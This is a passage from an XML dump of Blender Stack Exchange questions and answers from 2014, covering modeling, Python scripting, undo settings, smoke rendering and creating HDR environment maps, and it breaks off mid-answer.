  <row Id="13837" PostTypeId="2" ParentId="13836" CreationDate="2014-07-07T20:19:48.060" Score="14" Body="&lt;h1&gt;Method one:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;p&gt;This flattens the handles on the Y axis (scaling by &lt;code&gt;0&lt;/code&gt;), however it will distort the rotated handle a little bit:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zYuqh.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Method two:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;kbd&gt;V&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;, then  &lt;kbd&gt;V&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;p&gt;This sets the handle type to &lt;em&gt;vector&lt;/em&gt; (which makes connected control vertices straight) and the back to &lt;em&gt;aligned&lt;/em&gt; (the default).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oa5C0.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-07T20:41:57.510" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13838" PostTypeId="2" ParentId="13835" CreationDate="2014-07-07T20:35:00.013" Score="7" Body="&lt;p&gt;If you name your script &lt;code&gt;*.py&lt;/code&gt; in the text editor you can import it in the console as a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beware - after you imported the script for the first time you can't import it again. If you make changes to the module you can use &lt;a href=&quot;https://docs.python.org/3/library/imp.html#imp.reload&quot;&gt;&lt;code&gt;imp.reload&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;https://docs.python.org/3/library/importlib.html#importlib.reload&quot;&gt;&lt;code&gt;importlib.reload&lt;/code&gt;&lt;/a&gt; (for blender versions &gt; 2.71 using python 3.4)&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-07-07T20:35:00.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13839" PostTypeId="2" ParentId="2953" CreationDate="2014-07-07T20:58:56.667" Score="6" Body="&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;This is &lt;a href=&quot;https://developer.blender.org/rBf75d87bd765fa8d961311eccf979c30665c3d037&quot; rel=&quot;nofollow noreferrer&quot;&gt;now in master&lt;/a&gt;, and will be in 2.72.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;This is possible using this &lt;a href=&quot;https://developer.blender.org/D632&quot; rel=&quot;nofollow noreferrer&quot;&gt;experimental patch&lt;/a&gt;, which may be included in master eventually.&lt;/p&gt;&#xA;&lt;p&gt;Currently if you want to test it, you'll have to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;build blender yourself&lt;/a&gt;, or try and find a prebuilt version on a site like &lt;a href=&quot;http://graphicall.org/?keywords=&quot; rel=&quot;nofollow noreferrer&quot;&gt;graphicall&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-12T02:24:50.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13840" PostTypeId="2" ParentId="13823" CreationDate="2014-07-07T21:07:52.710" Score="2" Body="&lt;h3&gt;Decrease the number of vertices&lt;/h3&gt;&#xA;&lt;p&gt;Select an edge loop&lt;/p&gt;&#xA;&lt;p&gt;Menu: Select / Checker Deselect&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zhPx8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;kbd&gt;X&lt;/kbd&gt; Dissolve vertices&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XD0jc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;After that you could remove the vertices which only subdivide edges by selecting one and &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt;  Amount of connecting edges and dissolve again.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-08T08:31:54.840" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13841" PostTypeId="2" ParentId="13834" CreationDate="2014-07-07T21:32:59.077" Score="3" Body="&lt;p&gt;You can indeed use the boolean modifier to achieve this effect. What you basically need are two cylinders (same shape, scale and location) and two cuboids to replicate the shown behaviour. The intersection between a cuboid and a cylinder will build the shape of the upper or lower eyelid. Add a boolean modifier to each cylinder with one cuboid as target object respectively and set the operation to intersect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jAIYp.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A9C7f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is basically all you need for the eyelids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the eye-shape and pupil just add two new cylinders. To animate the pupil add an empty. Add a &lt;strong&gt;Copy Location&lt;/strong&gt; constraint to the pupil targeting the empty and disable the up-axis of the constraint. Add a &lt;strong&gt;Limit Distance&lt;/strong&gt; constraint and set the target to the cylinder which emulates the eye-shape. Adjust the distance to keep the pupil within the eye. Add a &lt;strong&gt;Copy Scale&lt;/strong&gt; constraint to the pupil targeting the empty so scaling the empty will scale the pupil.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/324oC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A blend file can be found &lt;a href=&quot;http://www.pasteall.org/blend/30269&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2014-07-07T21:32:59.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13842" PostTypeId="2" ParentId="13835" CreationDate="2014-07-07T22:48:52.960" Score="5" Body="&lt;p&gt;You can retrieve the Text datablock's text as string and run it in the context of the Python Console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an addon that makes it easy to do so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?312821-Run-Script-in-PyConsole-%28Menu%29&quot;&gt;Run Script in PyConsole (Menu)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Globals of your script will be added to the globals of the Python Console environment.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-07-07T22:48:52.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13843" PostTypeId="2" ParentId="13668" CreationDate="2014-07-07T23:29:18.247" Score="2" Body="&lt;p&gt;It does nothing for the background image in the 3D view. However &lt;em&gt;View as render&lt;/em&gt; is a setting for the entire image datablock.&lt;br&gt;&#xA;What &lt;em&gt;View as render&lt;/em&gt; does do in the compositer and image viewer is toggle on or off the &lt;em&gt;Color Management&lt;/em&gt; settings in the properties window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;em&gt;View as render&lt;/em&gt; off   &lt;sub&gt;click for full size&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qtsvp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qtsvp.png&quot; alt=&quot;off&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;em&gt;View as render&lt;/em&gt; on    &lt;sub&gt;click for full size&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BPnbp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BPnbp.png&quot; alt=&quot;on&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-07-07T23:29:18.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13846" PostTypeId="2" ParentId="13820" CreationDate="2014-07-08T08:03:00.240" Score="0" Body="&lt;p&gt;Another option is using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Proportional_Edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;proportional edit&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Activate proportional editing &lt;kbd&gt;O&lt;/kbd&gt; and set the falloff to random. While edit mode will effect vertices, when used in object mode it will move the entire object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eQyme.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select a cube in the centre and start moving it, You can use the mouse scroll wheel or &lt;kbd&gt;PageUp&lt;/kbd&gt; and &lt;kbd&gt;PageDown&lt;/kbd&gt; to change the size of influence. You will also find that as you change the radius of influence the positions will change, that works like choosing different seed values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fnc0u.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-08T08:03:00.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13847" PostTypeId="2" ParentId="13820" CreationDate="2014-07-08T08:05:49.740" Score="5" Body="&lt;p&gt;Make sure &lt;em&gt;&lt;strong&gt;Global Undo&lt;/strong&gt;&lt;/em&gt; is enabled.&lt;/p&gt;&#xA;&lt;p&gt;For 2.8x and 2.9.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Edit &amp;gt; User preferences &amp;gt; System &amp;gt; Memory &amp;amp; Limits: Global Undo&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6k4h3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6k4h3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;For 2.79 use&lt;/p&gt;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;&amp;gt; User preferences &amp;gt; Editing &amp;gt; Undo&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CUPlh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;That panel is called the &lt;em&gt;redo panel&lt;/em&gt;, because when you change a setting on it, blender actually redoes the previous operator with the new settings.&lt;br /&gt;&#xA;If blender can't undo the previous operator first, running it again will add it's effect on top of the result of the previous operator (which is not the desired effect at all).&lt;/p&gt;&#xA;&lt;p&gt;So this panel is disabled when undo is not available.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="92768" LastEditDate="2020-09-01T17:01:38.857" LastActivityDate="2020-09-01T17:01:38.857" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13849" PostTypeId="1" AcceptedAnswerId="13850" CreationDate="2014-07-08T09:06:10.897" Score="11" ViewCount="8782" Body="&lt;p&gt;With large projects that have hundreds of textures, it can be very difficult to deal with them in the UV image editor using the following little drop-down menu.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eC9jx.png&quot; alt=&quot;image data block menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution that I've come with so far is to modify the UV Image Editor code using some code from the Sculpt and Texture Paint section which is very helpful but it's still difficult to tell if something is in use and it has to be reopened every time something is selected and deleted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(It now looks like the following in case anyone is interested.  You can do this by menu-clicking the image icon next to &lt;em&gt;New&lt;/em&gt; and &lt;em&gt;Open&lt;/em&gt; then selecting edit source and changing the following line in space_image.py    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.template_ID(sima, &quot;image&quot;, new=&quot;image.new&quot;, open=&quot;image.open&quot;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*layout.template_ID_preview(sima, &quot;image&quot;, new=&quot;image.new&quot;, open=&quot;image.open&quot;, rows=8, cols=16*)    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5kaes.jpg&quot; alt=&quot;changed image menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1259&quot;&gt;This question&lt;/a&gt; deals with deleting textures and it's what I already do.  But it's time consuming and very difficult to find the unused textures when there are a couple hundred of them, especially if the drop down menu has to be reopened and searched for everyone one of them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is the this:&lt;br&gt;&#xA;&lt;strong&gt;Is there a way to delete all the unused textures using a Python script?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found one script that does not work very well.  Sometimes it does and sometimes it does not.&lt;br&gt;&#xA;This gives the impression that there is something going on behind the scenes when it comes to how textures are considered to be in use.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way,  I don't use Fake User or pack images so this may simplify things a bit.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2016-08-02T07:24:06.607" Title="Delete all unused textures from Blender using Python" Tags="&lt;python&gt;&lt;image&gt;" AnswerCount="2" CommentCount="13" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13850" PostTypeId="2" ParentId="13849" CreationDate="2014-07-08T10:12:14.943" Score="17" Body="&lt;p&gt;Remove all images with zero users from the blendfile:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for img in bpy.data.images:&#xA;    if not img.users:&#xA;        bpy.data.images.remove(img)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-07-08T10:12:14.943" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13851" PostTypeId="1" AcceptedAnswerId="14291" CreationDate="2014-07-08T14:48:19.410" Score="2" ViewCount="2266" Body="&lt;p&gt;I'm looking for a way to execute blender, in background mode (&lt;code&gt;-b&lt;/code&gt;) and giving a python script (&lt;code&gt;--python &amp;lt;filename&amp;gt;&lt;/code&gt;) which is available in the network. For example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender.exe -b --python  \\Host\Dev\blender_setup.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently Blender is looking for the script adding the current folder from which the &lt;code&gt;.bat&lt;/code&gt; was executed (or C:\Windows if the batch file was in a network path). I've tried many syntaxes (//, \, \\, &quot;\...&quot;, etc) and apparently I can't without mapping a network drive. I always get something like :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;OSError: Python file &quot;&lt;strong&gt;C:\Users\flavio\Desktop&lt;/strong&gt;\Host\Dev\blender_setup.py&quot; could not be opened: No such file or directory&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you can see in bold, Blender is not looking in the right place&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; : Without mapping that network folder to a network drive and without simlinks. It would be too easy :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt; : Waow, actually any network paths, even for .blend file, are not working. This is very tricky for a renderfarm. The following paths (no matter the /, //, \\, \\\\ etc) will give the same result :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;blender.exe -b \\192.168.0.5\...\myFile.blend -a -x 1 -o&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;blender.exe -b \\HOST\...\myFile.blend -a -x 1 -o&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Will give the following error message :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: Unable to open 'C:\Users\flavio\Desktop\192.168.0.5...\myFile.blend': No such file or directory &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(if the .bat file is on my Desktop)&lt;/p&gt;&#xA;" OwnerUserId="4925" LastEditorUserId="4925" LastEditDate="2014-07-09T11:04:47.083" LastActivityDate="2014-07-23T10:26:51.967" Title="run python script from network?" Tags="&lt;python&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13853" PostTypeId="1" AcceptedAnswerId="13854" CreationDate="2014-07-08T15:38:26.370" Score="20" ViewCount="14496" Body="&lt;p&gt;Is there a way to create an HDR map from a rendered scene in blender?  I'm asking because I'm working to optimize an indoor scene that will be used multiple times for rendering scenes in a comic, and it has open windows which look out to a cityscape.  I would like to cut the cityscape out and replace it with an HDR version of it, so that it doesn't have to calculate as many bounces and (by extension) renders faster.&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2015-01-08T00:42:38.010" Title="Create HDR map from render?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="13854" PostTypeId="2" ParentId="13853" CreationDate="2014-07-08T18:44:20.527" Score="17" Body="&lt;p&gt;Yes, there is in cycles.&#xA;To begin select your camera. You will need to make changes to its settings. In the camera tab under lens, set it to Panoramic, and the type to &lt;a href=&quot;http://en.wikipedia.org/wiki/Equirectangular&quot; rel=&quot;noreferrer&quot;&gt;Equirectangular&lt;/a&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/85HED.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Now, to make it more HDR friendly head into the color management section of the Scene tab.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PxBWa.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;I would select raw, since it will save the most color data. depending on the amount of dynamic range you want, you can make more or less images at different exposures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/22865/3127&quot;&gt;You image is &lt;strong&gt;HDR strait out of blender&lt;/strong&gt;&lt;/a&gt;, as long as you choose a format that supports HDR images, like &lt;code&gt;.EXR&lt;/code&gt;, your image should be good.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-01-08T00:42:38.010" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13855" PostTypeId="1" CreationDate="2014-07-08T19:55:59.897" Score="2" ViewCount="4123" Body="&lt;p&gt;I have two different meshes (&lt;strong&gt;A1&lt;/strong&gt; and &lt;strong&gt;A2&lt;/strong&gt;) that are each skinned to an armature (&lt;strong&gt;B1&lt;/strong&gt; and &lt;strong&gt;B2&lt;/strong&gt;, identical in setup) that currently have different rest poses applied. I want to copy the rest pose from armature B1 to armature B2, so they are identical. How would I go about doing this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the &lt;strong&gt;Pose -&gt; Copy Pose/Paste Pose&lt;/strong&gt; feature between the armatures, but that won't work, as it seems to be using the current rest-poses as reference starting points, and those differ from one armature to the next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender v2.70 (can't use 2.71 due to FBX exporter not supporting shape keys).&lt;/p&gt;&#xA;" OwnerUserId="5117" LastActivityDate="2019-11-10T22:07:22.870" Title="How to copy a rest pose between armatures?" Tags="&lt;armature&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13856" PostTypeId="1" AcceptedAnswerId="22970" CreationDate="2014-07-08T20:15:45.563" Score="4" ViewCount="298" Body="&lt;p&gt;Is there something similar to vertex groups for faces and edges? I find vertex groups incredibly useful for remembering custom selections I've made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is select faces or edges, and be able to reselect them later as easy as possible.&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2015-01-10T03:05:02.690" Title="Ability to store selections" Tags="&lt;selection-tools&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13857" PostTypeId="1" CreationDate="2014-07-08T22:00:56.857" Score="0" ViewCount="96" Body="&lt;p&gt;In a &lt;a href=&quot;http://youtu.be/VcRJJphKC7s&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; at 3:22 the guy rendered while in node editor, but didn't say how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried other tutorials but they all don't say how to do this.&lt;/p&gt;&#xA;" OwnerUserId="4935" LastEditorUserId="599" LastEditDate="2014-07-09T21:07:39.470" LastActivityDate="2014-07-09T21:07:39.470" Title="How to render while in the compositor?" Tags="&lt;rendering&gt;&lt;interface&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13858" PostTypeId="1" CreationDate="2014-07-08T22:34:01.333" Score="1" ViewCount="1719" Body="&lt;p&gt;I'm having problems with the new smoke and fire features for 2.71. I have followed Jonathon Lampels &lt;a href=&quot;https://www.youtube.com/watch?v=oSiV5gg_lCs&amp;amp;list=UUatamfbt5w18LusUifPsIXQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; but it quit working at the part where you put in the attribute node with an attribute of &quot;density&quot;. Any idea why it's not working? I also tried the &quot;fire&quot; attribute as well, with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is without connecting the attribute node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YQqmr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here it is with it connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bTVyY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="469" LastEditorDisplayName="user1853" LastEditDate="2014-07-08T23:26:41.380" LastActivityDate="2014-07-08T23:47:44.423" Title="density attribute not working for smoke" Tags="&lt;cycles-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13859" PostTypeId="2" ParentId="13858" CreationDate="2014-07-08T23:47:44.423" Score="1" Body="&lt;p&gt;Make sure your smoke has been simulated a bit before you render it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can quickly simulate it by playing the animation (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;), or you can cache it more permanently by &lt;em&gt;baking&lt;/em&gt; it (press &lt;em&gt;Bake&lt;/em&gt; in &lt;em&gt;Properties &gt; Physics &gt; domain settings &gt; Smoke Cache&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have done that, you should be able to see the smoke in the viewport and the render.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-08T23:47:44.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13860" PostTypeId="1" CreationDate="2014-07-09T00:18:57.467" Score="3" ViewCount="873" Body="&lt;p&gt;For my blender model, I have an image of a half-sphere. On its face it is triangulated and I want to merge the triangles together so they are like the portion that the red arrow is pointing to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YxQTh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have tried doing is first going to select on the bottom left, and then using circle select. I selected the areas and I tried doing many different things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I tried pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; and I was given the choice of merging at center, at cursor, or collapse. None of these can give the function I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I tried pressing &lt;em&gt;Select &gt; Vertices &gt; Connect&lt;/em&gt; and nothing happened. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using this: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Meshes/Editing/Vertices/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Meshes/Editing/Vertices/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what I should do?&lt;/p&gt;&#xA;" OwnerUserId="5120" LastEditorUserId="1363" LastEditDate="2014-07-09T01:26:54.707" LastActivityDate="2014-10-07T18:35:47.727" Title="How to select and merge vertices into separate triangles?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="1" ClosedDate="2014-10-07T22:33:36.553" ContentLicense="CC BY-SA 3.0" />
  <row Id="13861" PostTypeId="2" ParentId="13853" CreationDate="2014-07-09T00:46:23.897" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Hide everything except the parts of your scene you want to put in the environment hdr (or put them on separate layers).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(this step isn't necessary, but it makes things easier)&lt;br&gt;&#xA;Add a new your camera at the same location as your current camera, but with the rotation aligned to the axes. Then make it the active camera (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 0&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/myQ95.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the new camera selected, set the lens of the camera to &lt;em&gt;Panoramic&lt;/em&gt; and the type to &lt;em&gt;Equirectangular&lt;/em&gt; in &lt;em&gt;Properties &gt; Object data&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9XTcm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the output format to &lt;a href=&quot;http://en.wikipedia.org/wiki/OpenEXR&quot; rel=&quot;noreferrer&quot;&gt;OpenEXR&lt;/a&gt; in &lt;em&gt;Render settings &gt; Output&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tft9O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OpenEXR is a hdr format which can store values as 32bit floats the amount of light (brightness) per pixel as floating point values.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render and save (&lt;kbd&gt;F3&lt;/kbd&gt;) the panorama.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Load the hdr into the world node setup in an &lt;em&gt;Environment texture&lt;/em&gt; node, and rotate it 180&amp;deg; around the Z (for some reason it always seems to come out reversed):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TFGIn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you can hide/remove your environment objects (including the extra camera), and unhide the rest of your scene.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Result:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Rendered with hdr image background:&lt;br&gt;&#xA;Time: 2:41 (12:08 to render the background at 1920x1080)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GWFHn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendered with actual geometry for the outside environment&lt;br&gt;&#xA;Time: 